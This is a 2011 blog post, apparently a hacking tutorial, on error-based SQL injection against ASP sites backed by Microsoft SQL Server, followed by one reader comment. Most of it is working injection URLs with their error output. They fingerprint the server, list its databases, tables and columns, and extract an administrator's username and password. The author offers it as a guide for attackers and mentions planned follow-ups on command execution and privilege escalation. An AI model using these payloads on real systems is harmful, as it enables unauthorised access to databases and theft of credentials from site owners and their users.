Saturday, October 8, 2011

MICROSOFT SQL SERVER (MSSQL) and SQL INJECTION

Today I am going to go over how to perform SQL Injections when the backend DBMS is MS-SQL Server. I will only go over the basics for now as I am no expert, but I don’t see a lot of detailed tutorials on the net so I am going to do what I can to help out based on my experience with MS SQL Injections. Hopefully I will be able to follow up with another write-up in the not too distant future on some advanced techniques, but to keep it manageable I will cover the basics for now. OK, let’s walk through a basic injection session with MS-SQL Server as the DBMS.


OK, so just like in the other injection techniques I have covered we will start off by testing Integer vs String method as well as order by, group by, as well as and/or statements. If you have reviewed my other tutorials this part should be pretty basic:


[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ''.

As you can see from the error message we have found a MS-SQL server :) Continue a bit to confirm not just a false positive…


OK, so we know it is MS SQL Server, now let us see if we can find the current DB, like so:
http://site.com/index.asp?id= convert(int,db_name() COLLATE SQL_Latin1_General_Cp1254_CS_AS) and 1=1

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Database1' to a column of data type int.

The error will spit out the current DB name in the message, in the above example the current DB is named “Database1”
NOTE: Notice the parameter value has been removed to essentially null it like you would with "-" with normal MySQL injection - especially since we using convert().

NOW to grab some basic info we will use this syntax, and just replace the item to pull with what it is you want to know or grab:
=1 convert(int,<item-to-pull> COLLATE SQL_Latin1_General_Cp1254_CS_AS) and 1=1
NOTE: This will work with other language types, but this is what worked for my example so I am using it here to keep it simple on me ;)

http://site.com/index.asp?id= convert(int,user COLLATE SQL_Latin1_General_Cp1254_CS_AS) and 1=1
    USER: databaseuser@locahost
http://site.com/index.asp?id= convert(int,@@version COLLATE SQL_Latin1_General_Cp1254_CS_AS) and 1=1
    VERSION:
    Sql Version: Microsoft SQL Server  2000 - 8.00.2055 (Intel X86)
    Dec 16 2008 19:46:53
    Copyright (c) 1988-2003 Microsoft Corporation
    Desktop Engine on Windows NT 5.2 (Build 3790: Service Pack 2)



http://site.com/index.asp?id= convert(int,system_user COLLATE SQL_Latin1_General_Cp1254_CS_AS) and 1=1
    SYS-User: datbaseuser
http://site.com/index.asp?id= convert(int,host_name() COLLATE SQL_Latin1_General_Cp1254_CS_AS) and 1=1
    HOST: database1.badhosting.com
http://site.com/index.asp?id= convert(int,@@SERVERNAME COLLATE SQL_Latin1_General_Cp1254_CS_AS) and 1=1
    SERVER-NAME: database1.badhosting.com


Now to count the DBs:
http://site.com/index.asp?id= convert(int,(char(82)%2bchar(33)%2b(select top 1 cast(count([name]) as nvarchar(4000)) from [master]..[sysdatabases] )%2bchar(33)%2bchar(82))) and 1=1

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'R!29!R' to a column of data type int.
        DB Count is: 29
NOTE: char(82) = R, char(33) = !, You can use what you want, but it helps to even out the syntax and frame the results

OK, now you know how many….time to get them suing this syntax...
http://site.com/index.asp?id= convert(int,(select cast(name as nvarchar(4000)) from master..sysdatabases where dbid=1)) and 1=1

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'master' to a column of data type int.
        DB=master
**NOTE: **We alternate the value for "dbid=N" to enumerate the rest of the database names. You can also use the not equal to (!=) method but this is faster in my opinion.



Once DB(s) are known we can get tables and columns. Let us start with tables from current db (Database1) and then move outwards...like so:

First we count the number of Tables in the DB we want to fetch tables from…like so:
http://site.com/index.asp?id= convert(int,(char(82)%2bchar(33)%2b(select top 1 cast(count(*) as nvarchar(4000)) from information_schema.tables )%2bchar(33)%2bchar(82))) and 1=1

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'R!37!R' to a column of data type int.
        TABLE COUNT for DB Database1 = 37

Now that we know how many tables there are, we can get them one by one:
http://site.com/index.asp?id= convert(int,(char(126)%2b(select distinct top 1 table_name from (select distinct top 1 table_name from information_schema.tables order BY table_name ASC) sq order BY table_name DESC)%2bchar(126))) and 1=1

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '~Admin~' to a column of data type int.
        First Table found = Admin (yahoo!)

We will repeat using the "N" after our second "select distinct TOP" statement to enumerate the rest of the table names from the database one by one, the basic syntax looks like this:
http://site.com/index.asp?id= convert(int,(char(126)%2b(select distinct top 1 table_name from (select distinct top N table_name from information_schema.tables order BY table_name ASC) sq order BY table_name DESC)%2bchar(126))) and 1=1
 TABLES-Database1: Admin, links, logosoft, test

Once the tables are known we can grab the columns. It follows the same method as was used above for the tables, but instead of table_name we will change it to column_name and information_schema.columns (instead of .tables). We will also use the second TOP statement to enumerate the columns one by one, just like we did with the tables (N). Also remember since we are using convert() we will also need to char our table name, so have a ascii conversion chart handy or use the one I have on the upper right of page linked.

Here goes :
http://site.com/index.asp?id= convert(int,(char(126)%2b(select distinct top 1 column_name from (select distinct top 1 column_name from information_schema.columns where table_name=char(65)%2bchar(100)%2bchar(109)%2bchar(105)%2bchar(110) order BY column_name ASC) sq order BY column_name DESC)%2bchar(126))) and 1=1

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '~PASSWD~' to a column of data type int.
        COLUMN=PASSWD
        NOTE: char(65, 100, 109, 105, 110) = Admin

http://site.com/index.asp?id= convert(int,(char(126)%2b(select distinct top 1 column_name from (select distinct top 2 column_name from information_schema.columns where table_name=char(65)%2bchar(100)%2bchar(109)%2bchar(105)%2bchar(110) order BY column_name ASC) sq order BY column_name DESC)%2bchar(126))) and 1=1

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '~USERNAME~' to a column of data type int.
            COLUMN=USERNAME
OK now we are getting somewhere. We now know the table name and the columns and can now extract the contents. It works like so:
Count entries:
http://site.com/index.asp?id= convert(int,(char(82)%2bchar(33)%2b(select top 1 cast(count(*) as nvarchar(4000)) from [Admin] )%2bchar(33)%2bchar(82))) and 1=1

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'R!1!R' to a column of data type int.
        Just one (1) entry, yeah

http://site.com/index.asp?id= convert(int,(char(82)%2bchar(33)%2b(select top 1 isnull([PASSWD],char(32))%2bchar(94)%2bisnull([USERNAME],char(32)) from (select top 1 [PASSWD],[USERNAME] from [Admin] order by [PASSWD] asc) sq order by [PASSWD] desc)%2bchar(33)%2bchar(82))) and 1=1

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'R!M8zWt2!2uq^OjuZwqCul!R' to a column of data type int.
        PASSWD: M8zWt2!2uq
        USERNAME: OjuZwqCul
NOTE: we used the char(94) or the ^ symbol as a separator so you will know where one entry  ends and the next starts (this is important and can easily be changed to suit you)

That is good and great that we found Admin table in current DB, but what if we want to investigate other databases? This is where I see a lot of tutorials fail or leave it to you to figure out L, well MS-SQL plays a little different so this does not come easily to all, so I am including it in my tutorial. If you know how to do this then you can stop reading now, but for those that don’t please continue….

I will use the table "logosoft" for our next example. We will need to start from the beginning and change our syntax slightly to get the tables, then columns, then extract. Here is the basic syntax to get started:

http://site.com/index.asp?id= convert(int,(char(126)%2b(select distinct top 1 table_name from (select distinct top N table_name from DatabaseName.OwnerName.ObjectORtableName order BY table_name ASC) sq order BY table_name DESC)%2bchar(126))) and 1=1
NOTE: we will still be using the second TOP statement to enumerate again, but also take note of the syntax being used to call the alternate database, it works like this:
DatabaseName.OwnerName.ObjectORtableName
 You can also omit the OwnerName which is why sometime you just see:
 OwnerName..ObjectName (i.e. our original syntax: master..sysdatabases)

http://site.com/index.asp?id= convert(int,(char(126)%2b(select distinct top 1 table_name from (select distinct top 1 table_name from logosoft.information_schema.tables order BY table_name ASC) sq order BY table_name DESC)%2bchar(126))) and 1=1

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '~dtproperties~' to a column of data type int.

http://site.com/index.asp?id= convert(int,(char(126)%2b(select distinct top 1 table_name from (select distinct top 2 table_name from logosoft.information_schema.tables order BY table_name ASC) sq order BY table_name DESC)%2bchar(126))) and 1=1

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '~sysconstraints~' to a column of data type int.

http://site.com/index.asp?id= convert(int,(char(126)%2b(select distinct top 1 table_name from (select distinct top 3 table_name from logosoft.information_schema.tables order BY table_name ASC) sq order BY table_name DESC)%2bchar(126))) and 1=1

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '~syssegments~' to a column of data type int.

OK so now we know there are tables: dtproperties, sysconstraints, and syssegments found within the logosoft database. Now we find the columns, just like before and similar to tables...let us use syssegments to find columns and extract for our continued example:

http://site.com/index.asp?id= convert(int,(char(126)%2b(select distinct top 1 column_name from (select distinct top 1 column_name from logosoft.information_schema.columns where table_name=char(115)%2bchar(121)%2bchar(115)%2bchar(115)%2bchar(101)%2bchar(103)?%2bchar(109)%2bchar(101)%2bchar(110)%2bchar(116)%2bchar(115) order BY column_name ASC) sq order BY column_name DESC)%2bchar(126))) and 1=1

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '~name~' to a column of data type int.
        COLUMN: name

OK, now we know database, table, and column(s). Time to extract…
But first a quick entry count:
http://site.com/index.asp?id= convert(int,(char(82)%2bchar(33)%2b(select top 1 cast(count(*) as nvarchar(4000)) from [logosoft]..[syssegments] )%2bchar(33)%2bchar(82))) and 1=1

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'R!3!R' to a column of data type int.
        COUNT: 3 entries

Extraction of the 3 entries needs to be done one at a time unfortunately, so again we will use the second TOP statement to enumerate the data we want:
http://site.com/index.asp?id= convert(int,(char(82)%2bchar(33)%2b(select top 1 isnull([name],char(32)) from (select top 1 [name] from [logosoft]..[syssegments] order by [name] asc) sq order by [name] desc)%2bchar(33)%2bchar(82))) and 1=1

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'R!default!R' to a column of data type int.

http://site.com/index.asp?id= convert(int,(char(82)%2bchar(33)%2b(select top 1 isnull([name],char(32)) from (select top 2 [name] from [logosoft]..[syssegments] order by [name] asc) sq order by [name] desc)%2bchar(33)%2bchar(82))) and 1=1

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'R!logsegment!R' to a column of data type int.

http://site.com/index.asp?id= convert(int,(char(82)%2bchar(33)%2b(select top 1 isnull([name],char(32)) from (select top 3 [name] from [logosoft]..[syssegments] order by [name] asc) sq order by [name] desc)%2bchar(33)%2bchar(82))) and 1=1

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'R!system!R' to a column of data type int.

I hope this helps someone out there with better understanding MS SQL Injections. If you get this far there is far more that can be done with an improperly configured MS SQL Server, but I don’t have time for that right now. I will try to do another follow up article to this on more advanced techniques such as executing system level commands, privilege escalation, possible enablement of RDP, and even internal port scanning and DNS requests. All done with SQL injection, very neat stuff in my opinion but I am still learning the advanced techniques myself. I am no expert on this stuff, but this is from my personal experiences and I have found it to work most of the time. I will try to update this article as I find new methods or interesting ways to accomplish these same tasks. I hope you have enjoyed this one, and please check back often to see what else has been updated and added. Until then, Enjoy!


If your interested in any of my other SQL Injection tutorials here are the links:

1 comment:

  1. i got error while getting no of table....
    that
    "incorrect syntax near char"


    ReplyDelete